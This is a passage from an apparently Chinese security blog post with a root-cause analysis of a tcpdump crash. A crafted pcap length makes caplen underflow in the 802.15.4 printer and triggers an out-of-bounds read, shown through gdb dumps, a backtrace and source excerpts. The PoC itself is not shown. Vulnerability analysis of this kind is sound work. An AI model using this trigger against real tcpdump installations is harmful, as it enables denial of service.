class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">struct pcap_file_header &#123;</span><br><span class="line"> <span class="keyword">bpf_u_int32 </span>magic<span class="comment">;</span></span><br><span class="line"> u_short version_major<span class="comment">;</span></span><br><span class="line"> u_short version_minor<span class="comment">;</span></span><br><span class="line"> <span class="keyword">bpf_int32 </span>thiszone<span class="comment">; /* gmt to local correction */</span></span><br><span class="line"> <span class="keyword">bpf_u_int32 </span>sigfigs<span class="comment">; /* accuracy of timestamps */</span></span><br><span class="line"> <span class="keyword">bpf_u_int32 </span>snaplen<span class="comment">; /* max length saved portion of each pkt */</span></span><br><span class="line"> <span class="keyword">bpf_u_int32 </span>linktype<span class="comment">; /* data link type (LINKTYPE_*) */</span></span><br><span class="line">&#125;<span class="comment">;</span></span><br></pre></td></tr></table></figure></p><p>看一下各字段的含义:<br><figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"> magic <span class="number">4</span>字节 pcap文件标识 目前为“d4 c3 b2 a1”</span><br><span class="line"> major <span class="number">2</span>字节 主版本号 #define PCAP_VERSION_MAJOR <span class="number">2</span></span><br><span class="line"> minor <span class="number">2</span>字节 次版本号 #define PCAP_VERSION_MINOR <span class="number">4</span></span><br><span class="line"> thiszone<span class="number">4</span>字节 时区修正 并未使用,目前全为<span class="number">0</span></span><br><span class="line"> sigfigs <span class="number">4</span>字节 精确时间戳 并未使用,目前全为<span class="number">0</span></span><br><span class="line"> snaplen <span class="number">4</span>字节 抓包最大长度 如果要抓全,设为<span class="number">0x0000ffff</span><span class="number">65535</span></span><br><span class="line"> tcpdump -s <span class="number">0</span>就是设置这个参数,缺省为<span class="number">68</span>字节</span><br><span class="line"> linktype<span class="number">4</span>字节 链路类型 一般都是<span class="number">1</span>ethernet</span><br><span class="line"></span><br><span class="line">struct pcap_pkthdr &#123;</span><br><span class="line"> struct timeval ts; <span class="comment">/* time stamp */</span></span><br><span class="line"> bpf_u_int32 caplen; <span class="comment">/* length of portion present */</span></span><br><span class="line"> bpf_u_int32 len; <span class="comment">/* length this packet (off wire) */</span></span><br><span class="line">&#125;;</span><br><span class="line">struct timeval &#123;</span><br><span class="line"> long tv_sec; <span class="comment">/* seconds (XXX should be time_t) */</span></span><br><span class="line"> suseconds_t tv_usec; <span class="comment">/* and microseconds */</span></span><br><span class="line">&#125;;</span><br><span class="line"> ts <span class="number">8</span>字节 抓包时间 <span class="number">4</span>字节表示秒数,<span class="number">4</span>字节表示微秒数</span><br><span class="line"> caplen<span class="number">4</span>字节 保存下来的包长度最多是snaplen比如<span class="number">68</span>字节)</span><br><span class="line"> len <span class="number">4</span>字节 数据包的真实长度如果文件中保存的不是完整数据包可能比caplen大</span><br></pre></td></tr></table></figure></p><p>其中len变量是值得关注的因为在crash文件中对应len变量的值为00 3C 9C 37<br>这是一个很大的值读取出来就是379C3C00数非常大实际上在wireshark中打开这个crash文件就会报错会提示这个数据包的长度已经超过了范围而换算出来的长度就是379C3C00这是触发漏洞的关键。</p><h3 id="gdb调试"><a href="#gdb调试" class="headerlink" title="gdb调试"></a>gdb调试</h3><p>首先通过gdb运行tcpdump用-r参数打开poc生成的crashtcp崩溃到达漏洞触发位置<br><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">1.</span>Program received signal SIGSEGV, Segmentation fault.</span><br><span class="line"><span class="bullet">2.</span>[----------------------------------registers-----------------------------------]</span><br><span class="line"><span class="bullet">3.</span>EAX: 0x1</span><br><span class="line"><span class="bullet">4.</span>EBX: 0x81e33bd --&gt; 0x0</span><br><span class="line"><span class="bullet">5.</span>ECX: 0x2e ('.')</span><br><span class="line"><span class="bullet">6.</span>EDX: 0x0</span><br><span class="line"><span class="bullet">7.</span>ESI: 0xbfffe201 ('.' <span class="xml"><span class="tag">&lt;<span class="name">repeats</span> <span class="attr">14</span> <span class="attr">times</span>&gt;</span></span>)</span><br><span class="line"><span class="bullet">8.</span>EDI: 0xbfffe1db --&gt; 0x30303000 ('')</span><br><span class="line"><span class="bullet">9.</span>EBP: 0x10621</span><br><span class="line"><span class="bullet">10.</span>ESP: 0xbfffe1ac --&gt; 0x8053caa (<span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+170</span>&gt;</span></span>: mov ecx,DWORD PTR [esp+0xc])</span><br><span class="line"><span class="bullet">11.</span>EIP: 0x8053c6a (<span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+106</span>&gt;</span></span>: movzx edx,BYTE PTR [ebx+ebp*2+0x1])</span><br><span class="line"><span class="bullet">12.</span>EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)</span><br><span class="line"><span class="bullet">13.</span>[-------------------------------------code-------------------------------------]</span><br><span class="line"><span class="bullet">14. </span>0x8053c5d <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+93</span>&gt;</span></span>: je 0x8053d40 <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+320</span>&gt;</span></span></span><br><span class="line"><span class="bullet">15. </span>0x8053c63 <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+99</span>&gt;</span></span>: mov ebx,DWORD PTR [esp+0x18]</span><br><span class="line"><span class="bullet">16. </span>0x8053c67 <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+103</span>&gt;</span></span>: sub esp,0x4</span><br><span class="line"><span class="bullet">17.</span>=&gt; 0x8053c6a <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+106</span>&gt;</span></span>: movzx edx,BYTE PTR [ebx+ebp*2+0x1]</span><br><span class="line"><span class="bullet">18. </span>0x8053c6f <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+111</span>&gt;</span></span>: movzx ecx,BYTE PTR [ebx+ebp*2]</span><br><span class="line"><span class="bullet">19. </span>0x8053c73 <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+115</span>&gt;</span></span>: push edx</span><br><span class="line"><span class="bullet">20. </span>0x8053c74 <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+116</span>&gt;</span></span>: mov ebx,edx</span><br><span class="line"><span class="bullet">21. </span>0x8053c76 <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+118</span>&gt;</span></span>: mov DWORD PTR [esp+0x18],edx</span><br><span class="line"><span class="bullet">22.</span>[------------------------------------stack-------------------------------------]</span><br><span class="line"><span class="bullet">23.</span>0000| 0xbfffe1ac --&gt; 0x8053caa (<span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+170</span>&gt;</span></span>: mov ecx,DWORD PTR [esp+0xc])</span><br><span class="line"><span class="bullet">24.</span>0004| 0xbfffe1b0 --&gt; 0xb7fff000 --&gt; 0x23f3c</span><br><span class="line"><span class="bullet">25.</span>0008| 0xbfffe1b4 --&gt; 0x1</span><br><span class="line"><span class="bullet">26.</span>0012| 0xbfffe1b8 --&gt; 0x2f5967 ('gY/')</span><br><span class="line"><span class="bullet">27.</span>0016| 0xbfffe1bc --&gt; 0x0</span><br><span class="line"><span class="bullet">28.</span>0020| 0xbfffe1c0 --&gt; 0x0</span><br><span class="line"><span class="bullet">29.</span>0024| 0xbfffe1c4 --&gt; 0x7ffffff9</span><br><span class="line"><span class="bullet">30.</span>0028| 0xbfffe1c8 --&gt; 0x81e33bd --&gt; 0x0</span><br><span class="line"><span class="bullet">31.</span>[------------------------------------------------------------------------------]</span><br><span class="line"><span class="bullet">32.</span>Legend: code, data, rodata, value</span><br><span class="line"><span class="bullet">33.</span>Stopped reason: SIGSEGV</span><br><span class="line"><span class="bullet">34.</span>hex<span class="emphasis">_and_</span>ascii<span class="emphasis">_print_</span>with_offset (ident=0x80c04af "\n\t", cp=0x8204000 <span class="xml"><span class="tag">&lt;<span class="name">error:</span> <span class="attr">Cannot</span> <span class="attr">access</span> <span class="attr">memory</span> <span class="attr">at</span> <span class="attr">address</span> <span class="attr">0x8204000</span>&gt;</span></span>,</span><br><span class="line"><span class="bullet">35. </span>length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91</span><br><span class="line"><span class="bullet">36.</span>91 s2 = *cp++;</span><br></pre></td></tr></table></figure></p><p>从崩溃信息来看出错位置为s2 = <em>cp++;崩溃原因为SIGSEGV即进程执行了一段无效的内存引用或发生段错误。可以看到问题出现在./print-ascii.c:91而且此时指针读取[ebx+ebp</em>2+0x1]的内容,可能是越界读取造成的崩溃。<br>再结合源码信息可知指针cp在自加的过程中访问到了一个没有权限访问的地址因为这是写在一个while循环里也就是是说nshorts的值偏大再看nshorts怎么来的由此nshorts = length / sizeof(u_short);可知可能是函数传入的参数length没有控制大小导致因此目标就是追踪length是如何传入的。<br>我们通过bt回溯一下调用情况。<br><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">1.gdb-peda$ bt</span><br><span class="line">2.#0 hex_and_ascii_print_with_offset (<span class="attribute">ident</span>=0x80c04af <span class="string">"\n\t"</span>, <span class="attribute">cp</span>=0x8204000 &lt;error: Cannot access memory at<span class="built_in"> address </span>0x8204000&gt;,</span><br><span class="line">3. <span class="attribute">length</span>=0xfffffff3, <span class="attribute">oset</span>=0x20c40) at ./print-ascii.c:91</span><br><span class="line">4.#1 0x08053e26 <span class="keyword">in</span> hex_and_ascii_print (<span class="attribute">ident</span>=0x80c04af <span class="string">"\n\t"</span>, <span class="attribute">cp</span>=0x81e33bd <span class="string">""</span>, <span class="attribute">length</span>=0xfffffff3) at ./print-ascii.c:127</span><br><span class="line">5.#2 0x08051e7d <span class="keyword">in</span> ieee802_15_4_if_print (<span class="attribute">ndo</span>=0x81e1320 &lt;Gndo&gt;, <span class="attribute">h</span>=0xbfffe40c, <span class="attribute">p</span>=&lt;optimized out&gt;) at ./print-802_15_4.c:180</span><br><span class="line">6.#3 0x080a0aea <span class="keyword">in</span> print_packet (<span class="attribute">user</span>=0xbfffe4dc <span class="string">" \023\036\b\300\034\005\b\001"</span>, <span class="attribute">h</span>=0xbfffe40c, <span class="attribute">sp</span>=0x81e33a8 <span class="string">"@\377"</span>)</span><br><span class="line">7. at ./tcpdump.c:1950</span><br><span class="line">8.#4 0xb7fa3468 <span class="keyword">in</span> ?? () <span class="keyword">from</span> /usr/lib/i386-linux-gnu/libpcap.so.0.8</span><br><span class="line">9.#5 0xb7f940e3 <span class="keyword">in</span> pcap_loop () <span class="keyword">from</span> /usr/lib/i386-linux-gnu/libpcap.so.0.8</span><br><span class="line">10.#6 0x0804b3dd <span class="keyword">in</span> main (<span class="attribute">argc</span>=0x3, <span class="attribute">argv</span>=0xbffff6c4) at ./tcpdump.c:1569</span><br><span class="line">11.#7 0xb7de9637 <span class="keyword">in</span> __libc_start_main (<span class="attribute">main</span>=0x804a4c0 &lt;main&gt;, <span class="attribute">argc</span>=0x3, <span class="attribute">argv</span>=0xbffff6c4, <span class="attribute">init</span>=0x80b1230 &lt;__libc_csu_init&gt;,</span><br><span class="line">12. <span class="attribute">fini</span>=0x80b1290 &lt;__libc_csu_fini&gt;, <span class="attribute">rtld_fini</span>=0xb7fea880 &lt;_dl_fini&gt;, <span class="attribute">stack_end</span>=0xbffff6bc) at <span class="built_in">..</span>/csu/libc-start.c:291</span><br><span class="line">13.#8 0x0804c245 <span class="keyword">in</span> _start ()</span><br></pre></td></tr></table></figure></p><p>函数调用流程<br><figure class="highlight 1c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">pcap_loop</span><br><span class="line"> <span class="string">|----print_packet</span></span><br><span class="line"> <span class="string">|-----hex_and_ascii_print</span></span><br><span class="line"> <span class="string">|-------- hex_and_ascii_print_with_offset</span></span><br></pre></td></tr></table></figure></p><p>由此可见从main函数开始了一连串函数调用git源码下来看看。<br>tcpdump.c找到pcap_loop调用<br><figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span> do &#123;</span><br><span class="line"><span class="number">2.</span> status = pcap_loop(pd, cnt, callback, pcap_userdata);</span><br><span class="line"><span class="number">3.</span> if (WFileName == NULL) &#123;</span><br><span class="line"><span class="number">4.</span> <span class="comment">/*</span></span><br><span class="line"><span class="comment">5. * We're printing packets. Flush the printed output,</span></span><br><span class="line"><span class="comment">6. * so it doesn't get intermingled with error output.</span></span><br><span class="line"><span class="comment">7. */</span></span><br><span class="line"><span class="number">8.</span> if (status == <span class="number">-2</span>) &#123;</span><br><span class="line"><span class="number">9.</span> <span class="comment">/*</span></span><br><span class="line"><span class="comment">10. * We got interrupted, so perhaps we didn't</span></span><br><span class="line"><span class="comment">11. * manage to finish a line we were printing.</span></span><br><span class="line"><span class="comment">12. * Print an extra newline, just in case.</span></span><br><span class="line"><span class="comment">13. */</span></span><br><span class="line"><span class="number">14.</span> putchar('n');</span><br><span class="line"><span class="number">15.</span> &#125;</span><br><span class="line"><span class="number">16.</span> (void)fflush(stdout);</span><br><span class="line"><span class="number">17.</span> &#125;</span><br></pre></td></tr></table></figure></p><p>设置断点之后查看一下该函数的执行结果</p><p>pcap_loop通过callback指向print_packet,来看一下它的源码<br><figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span>static void</span><br><span class="line"><span class="number">2.</span>print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)</span><br><span class="line"><span class="number">3.</span>&#123;</span><br><span class="line"><span class="number">4.</span> struct print_info *print_info;</span><br><span class="line"><span class="number">5.</span> u_int hdrlen;</span><br><span class="line"><span class="number">6.</span> ++packets_captured;</span><br><span class="line"><span class="number">7.</span> ++infodelay;</span><br><span class="line"><span class="number">8.</span> ts_print(&amp;h-&gt;ts);</span><br><span class="line"><span class="number">9.</span> print_info = (struct print_info *)user;</span><br><span class="line"><span class="number">10.</span> <span class="comment">/*</span></span><br><span class="line"><span class="comment">11. * Some printers want to check that they're not walking off the</span></span><br><span class="line"><span class="comment">12. * end of the packet.</span></span><br><span class="line"><span class="comment">13. * Rather than pass it all the way down, we set this global.</span></span><br><span class="line"><span class="comment">14. */</span></span><br><span class="line"><span class="number">15.</span> snapend = sp + h-&gt;caplen;</span><br><span class="line"><span class="number">16.</span> if(print_info-&gt;ndo_type) &#123;</span><br><span class="line"><span class="number">17.</span> hdrlen = (*print_info-&gt;p.ndo_printer)(print_info-&gt;ndo, h, sp);&lt;====</span><br><span class="line"><span class="number">18.</span> &#125; else &#123;</span><br><span class="line"><span class="number">19.</span> hdrlen = (*print_info-&gt;p.printer)(h, sp);</span><br><span class="line"><span class="number">20.</span> &#125;</span><br><span class="line"><span class="number">21.</span> putchar('n');</span><br><span class="line"><span class="number">22.</span> --infodelay;</span><br><span class="line"><span class="number">23.</span> if (infoprint)</span><br><span class="line"><span class="number">24.</span> info(<span class="number">0</span>);&#125;</span><br></pre></td></tr></table></figure></p><p>同样设置断点看该函数是如何调用执行的</p><p>这是我们可以根据call的信息计算出调用的函数名</p><p>其中(*print_info-&gt;p.ndo_printer)(print_info-&gt;ndo,h,sp)指向ieee802_15_4_if_print</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">25.</span>u_int</span><br><span class="line"><span class="number">26.</span>ieee802_15_4_if_print(struct netdissect_options *ndo,</span><br><span class="line"><span class="number">27.</span><span class="keyword">const</span> struct pcap_pkthdr *h, <span class="keyword">const</span> u_char *p)</span><br><span class="line"><span class="number">28.</span>&#123;</span><br><span class="line"><span class="number">29.</span><span class="built_in">printf</span>(<span class="string">"address : %x\n"</span>,p);</span><br><span class="line"><span class="number">30.</span>u_int caplen = h-&gt;caplen; <span class="comment">//传入的caplen赋值给无符号整形变量caplen,且该值为8</span></span><br><span class="line"><span class="number">31.</span><span class="keyword">int</span> hdrlen;</span><br><span class="line"><span class="number">32.</span><span class="keyword">u_int16_t</span> fc;</span><br><span class="line"><span class="number">33.</span><span class="keyword">u_int8_t</span> seq;</span><br><span class="line"><span class="number">34.</span><span class="keyword">if</span> (caplen &lt; <span class="number">3</span>) &#123; <span class="comment">//不满足</span></span><br><span class="line"><span class="number">35.</span>ND_PRINT((ndo, <span class="string">"[|802.15.4] %x"</span>, caplen));</span><br><span class="line"><span class="number">36.</span><span class="keyword">return</span> caplen;</span><br><span class="line"><span class="number">37.</span>&#125;</span><br><span class="line"><span class="number">38.</span>fc = EXTRACT_LE_16BITS(p);</span><br><span class="line"><span class="number">39.</span>hdrlen = extract_header_length(fc);</span><br><span class="line"><span class="number">40.</span>seq = EXTRACT_LE_8BITS(p + <span class="number">2</span>);</span><br><span class="line"><span class="number">41.</span>p += <span class="number">3</span>;</span><br><span class="line"><span class="number">42.</span>caplen -= <span class="number">3</span>;<span class="comment">//此时caplen = 5</span></span><br><span class="line"><span class="number">43.</span>ND_PRINT((ndo,<span class="string">"IEEE 802.15.4 %s packet "</span>, ftypes[fc &amp; <span class="number">0x7</span>]));</span><br><span class="line"><span class="number">44.</span><span class="keyword">if</span> (vflag)</span><br><span class="line"><span class="number">45.</span>ND_PRINT((ndo,<span class="string">"seq %02x "</span>, seq));</span><br><span class="line"><span class="number">46.</span><span class="keyword">if</span> (hdrlen == <span class="number">-1</span>) &#123;</span><br><span class="line"><span class="number">47.</span>ND_PRINT((ndo,<span class="string">"malformed! "</span>));</span><br><span class="line"><span class="number">48.</span><span class="keyword">return</span> caplen;</span><br><span class="line"><span class="number">49.</span>&#125;</span><br><span class="line"><span class="number">50.</span><span class="keyword">if</span> (!vflag) &#123;</span><br><span class="line"><span class="number">51.</span>p+= hdrlen;</span><br><span class="line"><span class="number">52.</span>caplen -= hdrlen;</span><br><span class="line"><span class="number">53.</span>&#125; <span class="keyword">else</span> &#123;</span><br><span class="line"><span class="number">54.</span><span class="keyword">u_int16_t</span> panid = <span class="number">0</span>;</span><br><span class="line"><span class="number">55.</span><span class="keyword">switch</span> ((fc &gt;&gt; <span class="number">10</span>) &amp; <span class="number">0x3</span>) &#123;</span><br><span class="line"><span class="number">56.</span><span class="keyword">case</span> <span class="number">0x00</span>:</span><br><span class="line"><span class="number">57.</span>ND_PRINT((ndo,<span class="string">"none "</span>));</span><br><span class="line"><span class="number">58.</span><span class="keyword">break</span>;</span><br><span class="line"><span class="number">59.</span><span class="keyword">case</span> <span class="number">0x01</span>:</span><br><span class="line"><span class="number">60.</span>ND_PRINT((ndo,<span class="string">"reserved destination addressing mode"</span>));</span><br><span class="line"><span class="number">61.</span><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="number">62.</span><span class="keyword">case</span> <span class="number">0x02</span>:</span><br><span class="line"><span class="number">63.</span>panid = EXTRACT_LE_16BITS(p);</span><br><span class="line"><span class="number">64.</span>p += <span class="number">2</span>;</span><br><span class="line"><span class="number">65.</span>ND_PRINT((ndo,<span class="string">"%04x:%04x "</span>, panid, EXTRACT_LE_16BITS(p)));</span><br><span class="line"><span class="number">66.</span>p += <span class="number">2</span>;</span><br><span class="line"><span class="number">67.</span><span class="keyword">break</span>;</span><br><span class="line"><span class="number">68.</span><span class="keyword">case</span> <span class="number">0x03</span>:</span><br><span class="line"><span class="number">69.</span>panid = EXTRACT_LE_16BITS(p);</span><br><span class="line"><span class="number">70.</span>p += <span class="number">2</span>;</span><br><span class="line"><span class="number">71.</span>ND_PRINT((ndo,<span class="string">"%04x:%s "</span>, panid, le64addr_string(p)));</span><br><span class="line"><span class="number">72.</span>p += <span class="number">8</span>;</span><br><span class="line"><span class="number">73.</span><span class="keyword">break</span>;</span><br><span class="line"><span class="number">74.</span>&#125;</span><br><span class="line"><span class="number">75.</span>ND_PRINT((ndo,<span class="string">"&lt; "</span>);</span><br><span class="line"><span class="number">76.</span><span class="keyword">switch</span> ((fc &gt;&gt; <span class="number">14</span>) &amp; <span class="number">0x3</span>) &#123;</span><br><span class="line"><span class="number">77.</span><span class="keyword">case</span> <span class="number">0x00</span>:</span><br><span class="line"><span class="number">78.</span>ND_PRINT((ndo,<span class="string">"none "</span>));</span><br><span class="line"><span class="number">79.</span><span class="keyword">break</span>;</span><br><span class="line"><span class="number">80.</span><span class="keyword">case</span> <span class="number">0x01</span>:</span><br><span class="line"><span class="number">81.</span>ND_PRINT((ndo,<span class="string">"reserved source addressing mode"</span>));</span><br><span class="line"><span class="number">82.</span><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="number">83.</span><span class="keyword">case</span> <span class="number">0x02</span>:</span><br><span class="line"><span class="number">84.</span><span class="keyword">if</span> (!(fc &amp; (<span class="number">1</span> &lt;&lt; <span class="number">6</span>))) &#123;</span><br><span class="line"><span class="number">85.</span>panid = EXTRACT_LE_16BITS(p);</span><br><span class="line"><span class="number">86.</span>p += <span class="number">2</span>;</span><br><span class="line"><span class="number">87.</span>&#125;</span><br><span class="line"><span class="number">88.</span>ND_PRINT((ndo,<span class="string">"%04x:%04x "</span>, panid, EXTRACT_LE_16BITS(p)));</span><br><span class="line"><span class="number">89.</span>p += <span class="number">2</span>;</span><br><span class="line"><span class="number">90.</span><span class="keyword">break</span>;</span><br><span class="line"><span class="number">91.</span><span class="keyword">case</span> <span class="number">0x03</span>:</span><br><span class="line"><span class="number">92.</span><span class="keyword">if</span> (!(fc &amp; (<span class="number">1</span> &lt;&lt; <span class="number">6</span>))) &#123;</span><br><span class="line"><span class="number">93.</span>panid = EXTRACT_LE_16BITS(p);</span><br><span class="line"><span class="number">94.</span>p += <span class="number">2</span>;</span><br><span class="line"><span class="number">95.</span>&#125;</span><br><span class="line"><span class="number">96.</span>ND_PRINT((ndo,<span class="string">"%04x:%s "</span>, panid, le64addr_string(p))));</span><br><span class="line"><span class="number">97.</span>p += <span class="number">8</span>;</span><br><span class="line"><span class="number">98.</span><span class="keyword">break</span>;</span><br><span class="line"><span class="number">99.</span>&#125;</span><br><span class="line"><span class="number">100.</span>caplen -= hdrlen;</span><br><span class="line"><span class="number">101.</span>&#125;</span><br></pre></td></tr></table></figure><p>传入的第二个值是struct pcap_pkthdr *h结构体函数使用的参数caplen就是结构体中的caplen不难看出caplen进行一些加减操作后没有判断正负直接丢给了下一个函数使用。<br>直接跟进函数,看看最后赋值情况</p><p>从源码和调试信息可以看到libpcap在处理不正常包时不严谨导致包的头长度hdrlen竟然大于捕获包长度caplen并且在处理时又没有相关的判断。hdrlen和caplen都是非负整数导致caplen==0xfffffff3过长。<br>继续跟进hex_and_asciii_print(ndo_default_print)</p><figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span>void</span><br><span class="line"><span class="number">2.</span>hex_and_ascii_print(register const char *ident, register const u_char *cp,</span><br><span class="line"><span class="number">3.</span> register u_int length)</span><br><span class="line"><span class="number">4.</span>&#123;</span><br><span class="line"><span class="number">5.</span> hex_and_ascii_print_with_offset(ident, cp, length, <span class="number">0</span>);</span><br><span class="line"><span class="number">6.</span>&#125;</span><br><span class="line"></span><br><span class="line">其中length==<span class="number">0xfffffff3</span>,继续执行</span><br><span class="line"><span class="number">1.</span>void</span><br><span class="line"><span class="number">2.</span>hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,</span><br><span class="line"><span class="number">3.</span> register u_int oset)</span><br><span class="line"><span class="number">4.</span>&#123;</span><br><span class="line"><span class="number">5.</span> register u_int i, s;</span><br><span class="line"><span class="number">6.</span> register int nshorts;</span><br><span class="line"><span class="number">7.</span></span><br><span class="line"><span class="number">8.</span> nshorts = (u_int) length / sizeof(u_short);</span><br><span class="line"><span class="number">9.</span> i = <span class="number">0</span>;</span><br><span class="line"><span class="number">10.</span> while (--nshorts &gt;= <span class="number">0</span>) &#123;</span><br><span class="line"><span class="number">11.</span> if ((i++ % <span class="number">8</span>) == <span class="number">0</span>) &#123;</span><br><span class="line"><span class="number">12.</span> (void)printf(<span class="string">"%s0x%04x: "</span>, ident, oset);</span><br><span class="line"><span class="number">13.</span> oset += HEXDUMP_BYTES_PER_LINE;</span><br><span class="line"><span class="number">14.</span> &#125;</span><br><span class="line"><span class="number">15.</span> s = *cp++; &lt;======= 抛出错误位置</span><br><span class="line"><span class="number">16.</span> (void)printf(<span class="string">" %02x%02x"</span>, s, *cp++);</span><br><span class="line"><span class="number">17.</span> &#125;</span><br><span class="line"><span class="number">18.</span> if (length &amp; <span class="number">1</span>) &#123;</span><br><span class="line"><span class="number">19.</span> if ((i % <span class="number">8</span>) == <span class="number">0</span>)</span><br><span class="line"><span class="number">20.</span> (void)printf(<span class="string">"%s0x%04x: "</span>, ident, oset);</span><br><span class="line"><span class="number">21.</span> 